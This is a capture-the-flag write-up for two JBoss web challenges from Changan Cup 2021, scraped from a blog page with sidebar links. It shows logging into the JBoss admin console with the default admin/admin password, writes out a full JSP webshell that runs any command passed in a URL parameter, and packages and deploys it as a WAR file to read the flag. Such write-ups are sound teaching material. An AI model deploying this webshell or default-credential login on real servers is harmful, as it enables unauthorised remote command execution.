当前位置:网站首页>CTF_ Web: Changan cup-2021 old but a little new & asuka
CTF_ Web: Changan cup-2021 old but a little new & asuka
2022-06-25 04:38:00 【AFCC_】
0x00 Old But A Little New
Two JBoss The topic is almost the same , The solution is the same , There is only one content in the test , Namely Jboss Upload in the background war package getshell.
The first is a jboss page .
hinder wiki And so on jboss Its official website , It has nothing to do with this question .
0x01 Weak password login

First path admin-console, The administrator console can be used directly admin、admin Weak password login , Find the deployment in the background war Where packages are uploaded .( there shell.war It has been uploaded )
0x02 Upload war package getshell
What is used here is TsengYUen Master's echo jsp In a word , Then use the command to package .
jar cvf shell.war 1.jsp
The content of one sentence is :
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
After successful deployment, view your own war package :
Path is /shell/1.asp
Page link column Directory
http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=ls
direct cat flag that will do .
http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=cat%20flag

0x03 asuka
JBoss Series title , With last one JBoss The same solution , Use the same war Bag can . Command execution to get flag
边栏推荐
猜你喜欢

Record small knowledge points

Basic use of OBS browser+ browser

2.0SpingMVC使用RESTful

Laravel document sorting 4. Controller

领导:谁再用 Redis 过期监听实现关闭订单,立马滚蛋!

js的sort()函数
![[untitled]](/img/68/5e711f7c473dcea54a56f7b7e48604.png)
[untitled]

Office macro virus bounce shell experiment

【esp32学习之路6——flash加密】

A detailed summary of four handshakes (or four waves) over TCP connections
随机推荐
Laravel document sorting 3. CSRF protection
Xiaobai learns MySQL - Statistical 'opportunism'
Data import and export for gbase 8s
i. Max development board learning record
「 每日一练,快乐水题 」1108. IP 地址无效化
马斯克发布人形机器人,AI对马斯克为什么意义重大?
Laravel document sorting 6. Response
JS call() and apply()
GBASE 8s的包
Classification of gbase 8s locks
Musk released humanoid robot. Why is AI significant to musk?
Laravel document sorting 7. View
php封装curl发送get、post请求方法,并使用
2021.4.15 note the difference between let, const and VaR in ES6
515. 在每个树行中找最大值 / 剑指 Offer II 095. 最长公共子序列
[esp32 learning path 6 - Flash encryption]
English Grammar - pronunciation rules
EasyRecovery15非常好用的电脑数据恢复软件
重磅直播 | 相移法+多频外差之数学原理推导+实现
2021.8.29 notes: register, bit operation, pointer, structure